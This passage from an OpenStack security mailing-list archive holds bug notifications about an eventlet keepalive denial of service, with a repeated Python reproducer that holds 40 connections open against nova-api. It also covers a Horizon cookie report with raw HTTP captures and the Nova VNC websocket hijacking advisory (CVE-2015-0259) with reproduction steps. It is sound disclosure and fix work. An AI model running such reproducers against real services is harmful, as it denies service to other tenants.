connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From 1361360 at bugs.launchpad.net Mon Mar 9 22:35:31 2015 From: 1361360 at bugs.launchpad.net (OpenStack Infra) Date: Mon, 09 Mar 2015 22:35:31 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150309223531.21281.48584.malone@gac.canonical.com> Reviewed: https://review.openstack.org/130839 Committed: https://git.openstack.org/cgit/openstack/glance/commit/?id=16a821e00d15520d2f6e940e184bd289b8782620 Submitter: Jenkins Branch: master commit 16a821e00d15520d2f6e940e184bd289b8782620 Author: abhishekkekane Date: Tue Oct 21 04:39:59 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections. Hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. DocImpact: Added http_keepalive option (default=True). SecurityImpact Closes-Bug: #1361360 Change-Id: I93aaca24935a4f3096210233097dd6b8c5440176 ** Changed in: glance Status: In Progress => Fix Committed -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Committed Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: New Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From 1361360 at bugs.launchpad.net Mon Mar 9 22:38:46 2015 From: 1361360 at bugs.launchpad.net (Adam Gandelman) Date: Mon, 09 Mar 2015 22:38:46 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150309223846.20861.32960.malone@gac.canonical.com> This should not be committed to icehouse branches. It is incompatible with the minimum eventlet version described in icehouse's globall- requirements.txt -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Committed Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: New Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From zhangyun at cn.ibm.com Tue Mar 10 06:11:35 2015 From: zhangyun at cn.ibm.com (Zhang Yun) Date: Tue, 10 Mar 2015 06:11:35 -0000 Subject: [Openstack-security] [Bug 1369865] Re: Permanent Cookie Contains Sensitive Session Information References: <20140916062427.24753.72518.malonedeb@soybean.canonical.com> Message-ID: <20150310061135.18700.33783.malone@gac.canonical.com> No more cookies affected by far. -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1369865 Title: Permanent Cookie Contains Sensitive Session Information Status in OpenStack Dashboard (Horizon): Confirmed Bug description: Affected URL: https://Ip_address/admin/ Entity: csrftoken (Cookie) Risk: It may be possible to steal session information (cookies) that was kept on disk as permanent cookies. Causes: The web application stores sensitive session information in a permanent cookie (on disk) Recommend Fix: Avoid storing sensitive session information in permanent cookies Test requests and response: GET /admin/ HTTP/1.1 Host: 9.5.29.52 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://9.5.29.52/ Cookie: csrftoken=JPjBiDp6Ex6YDw3sgfZPCTPUwWKZdZTm; sessionid=oad3bpy15qm8ntml9wx604yr79cc6zpb Connection: keep-alive HTTP/1.1 200 OK Date: Fri, 12 Sep 2014 07:52:50 GMT Server: Apache Vary: Accept-Language,Cookie,Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Language: en Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html Set-Cookie: csrftoken=silTP6ARbLvXohF6YYFLlWHce0KZkjPy; expires=Fri, 11-Sep-2015 07:52:52 GMT; Max-Age=31449600; Path=/; secure Set-Cookie: sessionid=ygq094phgr6og471j6n0asq7x6q37j6n; httponly; Path=/; secure 2014/9/12 516 Usage Overview - Cloud Management Dashboard

Cloud Management Dashboard

2014/9/12 517 TOC
Project

Orchestration

... ... ... To manage notifications about this bug go to: https://bugs.launchpad.net/horizon/+bug/1369865/+subscriptions From 1361360 at bugs.launchpad.net Tue Mar 10 10:24:13 2015 From: 1361360 at bugs.launchpad.net (Ihar Hrachyshka) Date: Tue, 10 Mar 2015 10:24:13 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150310102413.18799.79356.malone@gac.canonical.com> @Adam, we have Cinder patch applied. Does it mean we should revert it? -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Committed Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: New Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From gerrit2 at review.openstack.org Tue Mar 10 11:10:20 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 10 Mar 2015 11:10:20 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I93aaca24935a4f3096210233097dd6b8c5440176 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/162964 Log: commit 495fabf068e9ee95e4bee07215d41d730618a18c Author: abhishekkekane Date: Tue Oct 21 04:39:59 2014 -0700 Eventlet green threads not released back to pool Presently, the wsgi server allows persist connections. Hence even after the response is sent to the client, it doesn't close the client socket connection. Because of this problem, the green thread is not released back to the pool. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. DocImpact: Added http_keepalive option (default=True). Conflicts: doc/source/configuring.rst etc/glance-api.conf glance/common/wsgi.py glance/tests/unit/test_opts.py SecurityImpact Closes-Bug: #1361360 Change-Id: I93aaca24935a4f3096210233097dd6b8c5440176 (cherry picked from commit 16a821e00d15520d2f6e940e184bd289b8782620) From 1361360 at bugs.launchpad.net Tue Mar 10 11:10:16 2015 From: 1361360 at bugs.launchpad.net (OpenStack Infra) Date: Tue, 10 Mar 2015 11:10:16 -0000 Subject: [Openstack-security] [Bug 1361360] Fix proposed to glance (stable/juno) References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150310111016.14566.3175.malone@wampee.canonical.com> Fix proposed to branch: stable/juno Review: https://review.openstack.org/162964 -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Committed Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: New Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From abhishek.kekane at nttdata.com Tue Mar 10 11:17:49 2015 From: abhishek.kekane at nttdata.com (Abhishek Kekane) Date: Tue, 10 Mar 2015 11:17:49 -0000 Subject: [Openstack-security] [Bug 1361360] Re: Eventlet green threads not released back to the pool leading to choking of new requests References: <20140825203231.13086.48412.malonedeb@wampee.canonical.com> Message-ID: <20150310111750.14472.34248.malone@wampee.canonical.com> Hi Adam, Ihar, In global-requirements.txt eventlet version is mentioned as 'eventlet>=0.13.0,<0.16.0' and keepalive option is availabe in version 0.13.2 but socket_timeout is not available in the same version. The patch which was backported to stable/icehouse for cinder [1] does not include 'socket_timeout' applied to wsgi server, so there is no need to revert this patch. [1] https://review.openstack.org/#/c/138365/ -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1361360 Title: Eventlet green threads not released back to the pool leading to choking of new requests Status in Cinder: Fix Released Status in Cinder icehouse series: Fix Committed Status in Cinder juno series: Fix Released Status in OpenStack Image Registry and Delivery Service (Glance): Fix Committed Status in Glance icehouse series: In Progress Status in Orchestration API (Heat): In Progress Status in OpenStack Identity (Keystone): In Progress Status in Keystone icehouse series: Confirmed Status in Keystone juno series: Fix Committed Status in OpenStack Neutron (virtual network service): Fix Released Status in neutron icehouse series: New Status in neutron juno series: Fix Committed Status in OpenStack Compute (Nova): Fix Released Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Security Advisories: Won't Fix Status in OpenStack Data Processing (Sahara): New Bug description: Currently reproduced on Juno milestone 2. but this issue should be reproducible in all releases since its inception. It is possible to choke OpenStack API controller services using wsgi+eventlet library by simply not closing the client socket connection. Whenever a request is received by any OpenStack API service for example nova api service, eventlet library creates a green thread from the pool and starts processing the request. Even after the response is sent to the caller, the green thread is not returned back to the pool until the client socket connection is closed. This way, any malicious user can send many API requests to the API controller node and determine the wsgi pool size configured for the given service and then send those many requests to the service and after receiving the response, wait there infinitely doing nothing leading to disrupting services for other tenants. Even when service providers have enabled rate limiting feature, it is possible to choke the API services with a group (many tenants) attack. Following program illustrates choking of nova-api services (but this problem is omnipresent in all other OpenStack API Services using wsgi+eventlet) Note: I have explicitly set the wsi_default_pool_size default value to 10 in order to reproduce this problem in nova/wsgi.py. After you run the below program, you should try to invoke API ============================================================================================ import time import requests from multiprocessing import Process def request(number): #Port is important here path = 'http://127.0.0.1:8774/servers' try: response = requests.get(path) print "RESPONSE %s-%d" % (response.status_code, number) #during this sleep time, check if the client socket connection is released or not on the API controller node. time.sleep(1000) print “Thread %d complete" % number except requests.exceptions.RequestException as ex: print “Exception occurred %d-%s" % (number, str(ex)) if __name__ == '__main__': processes = [] for number in range(40): p = Process(target=request, args=(number,)) p.start() processes.append(p) for p in processes: p.join() ================================================================================================ Presently, the wsgi server allows persist connections if you configure keepalive to True which is default. In order to close the client socket connection explicitly after the response is sent and read successfully by the client, you simply have to set keepalive to False when you create a wsgi server. Additional information: By default eventlet passes “Connection: keepalive” if keepalive is set to True when a response is sent to the client. But it doesn’t have capability to set the timeout and max parameter. For example. Keep-Alive: timeout=10, max=5 Note: After we have disabled keepalive in all the OpenStack API service using wsgi library, then it might impact all existing applications built with the assumptions that OpenStack API services uses persistent connections. They might need to modify their applications if reconnection logic is not in place and also they might experience the performance has slowed down as it will need to reestablish the http connection for every request. To manage notifications about this bug go to: https://bugs.launchpad.net/cinder/+bug/1361360/+subscriptions From gerrit2 at review.openstack.org Tue Mar 10 13:22:34 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 10 Mar 2015 13:22:34 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I0196a6f327c0147f897ae051ee60a8cb11b8fd40 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/159129 Log: commit 99a4b08f790ae8230cdbdd9e35459dd5af4b6325 Author: Flavio Percoco Date: Wed Feb 25 14:50:06 2015 +0100 Basic support for image conversion This patch adds a task for image conversion. It uses `qemu-img` to convert images. This tool has support for several image formats. The current implementation converts images if and only if the operator has configured glance to do so. That is, the `convert_to_format` option has been set. There are few things about this patch that should be improved by follow-up patches. The first one is the fact that it relies on the entry_points order for task execution. Although this works, it is not the most flexible/controllable way to do it. The second thing is that it relies on the aforementioned configuration option to enable/disable the task (as in, it becomes a non-op). There should be an explicit way to enable/disable tasks. Since both things mentioned in the previous paragraph affect the task management in general, I've decided to let the fix for a follow-up patch. DocImpact SecurityImpact Partially-implements blueprint: new-upload-workflow Partially-implements blueprint: basic-import-conversion Change-Id: I0196a6f327c0147f897ae051ee60a8cb11b8fd40 From tristan.cacqueray at enovance.com Tue Mar 10 14:59:33 2015 From: tristan.cacqueray at enovance.com (Tristan Cacqueray) Date: Tue, 10 Mar 2015 14:59:33 -0000 Subject: [Openstack-security] [Bug 1409142] Re: Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150310145934.25673.87926.launchpad@soybean.canonical.com> ** Information type changed from Private Security to Public Security -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): In Progress Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From tristan.cacqueray at enovance.com Tue Mar 10 15:03:47 2015 From: tristan.cacqueray at enovance.com (Tristan Cacqueray) Date: Tue, 10 Mar 2015 15:03:47 -0000 Subject: [Openstack-security] [Bug 1409142] Re: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) References: <20150109220130.23970.7685.malonedeb@gac.canonical.com> Message-ID: <20150310150348.15185.38158.launchpad@wampee.canonical.com> ** Summary changed: - Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) + [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) -- You received this bug notification because you are a member of OpenStack Security Group, which is subscribed to OpenStack. https://bugs.launchpad.net/bugs/1409142 Title: [OSSA 2015-005] Websocket Hijacking Vulnerability in Nova VNC Server (CVE-2015-0259) Status in OpenStack Compute (Nova): In Progress Status in OpenStack Compute (nova) icehouse series: In Progress Status in OpenStack Compute (nova) juno series: In Progress Status in OpenStack Security Advisories: Fix Committed Bug description: This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added as to the bug as attachments. OpenStack Vulnerability Team: Brian Manifold (bmanifol at cisco.com) from Cisco has discovered a vulnerability in the Nova VNC server implementation. We have a patch for this vulnerability and consider this a very high risk. Please email Dave McCowan (dmccowan at cisco.com) for more details on the attached patch. Issue Details: Horizon uses a VNC client which uses websockets to pass information. The Nova VNC server does not validate the origin of the websocket request, which allows an attacker to make a websocket request from another domain. If the victim opens both an attacker's site and the VNC console simultaneously, or if the victim has recently been using the VNC console and then visits the attacker's site, the attacker can make a websocket request to the Horizon domain and proxy the connection to another destination. This gives the attacker full read-write access to the VNC console of any instance recently accessed by the victim. Recommendation:  Verify the origin field in request header on all websocket requests. Threat:       CWE-345  * Insufficient Verification of Data Authenticity -- The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.       CWE-346  * Origin Validation Error -- The software does not properly verify that the source of data or communication is valid.       CWE-441  * Unintended Proxy or Intermediary ('Confused Deputy') -- The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. Steps to reproduce:  1. Login to horizon  2. Pick an instance, go to console/vnc tab, wait for console to be loaded  3. In another browser tab or window, load a VNC console script from local disk or remote site  4. Point the newly loaded VNC console to the VNC server and a connection is made Result:  The original connection has been been hijacked by the second connection Root cause:  Cross-Site WebSocket Hijacking is concept that has been written about in various security blogs. One of the recommended countermeasures is to check the Origin header of the WebSocket handshake request. To manage notifications about this bug go to: https://bugs.launchpad.net/nova/+bug/1409142/+subscriptions From gerrit2 at review.openstack.org Tue Mar 10 15:29:18 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 10 Mar 2015 15:29:18 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I0196a6f327c0147f897ae051ee60a8cb11b8fd40 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/159129 Log: commit a0344556cf6111a3e02c85a963def7cb2ef288f3 Author: Flavio Percoco Date: Wed Feb 25 14:50:06 2015 +0100 Basic support for image conversion This patch adds a task for image conversion. It uses `qemu-img` to convert images. This tool has support for several image formats. The current implementation converts images if and only if the operator has configured glance to do so. That is, the `convert_to_format` option has been set. There are few things about this patch that should be improved by follow-up patches. The first one is the fact that it relies on the entry_points order for task execution. Although this works, it is not the most flexible/controllable way to do it. The second thing is that it relies on the aforementioned configuration option to enable/disable the task (as in, it becomes a non-op). There should be an explicit way to enable/disable tasks. Since both things mentioned in the previous paragraph affect the task management in general, I've decided to let the fix for a follow-up patch. DocImpact SecurityImpact Partially-implements blueprint: new-upload-workflow Partially-implements blueprint: basic-import-conversion Change-Id: I0196a6f327c0147f897ae051ee60a8cb11b8fd40 From gerrit2 at review.openstack.org Tue Mar 10 15:31:42 2015 From: gerrit2 at review.openstack.org (gerrit2 at review.openstack.org) Date: Tue, 10 Mar 2015 15:31:42 +0000 Subject: [Openstack-security] [openstack/glance] SecurityImpact review request change I0196a6f327c0147f897ae051ee60a8cb11b8fd40 Message-ID: Hi, I'd like you to take a look at this patch for potential SecurityImpact. https://review.openstack.org/159129 Log: commit a7e66d6706acb483bbc7590d3b40c51968ee7ebe Author: Flavio Percoco Date: Wed Feb 25 14:50:06 2015 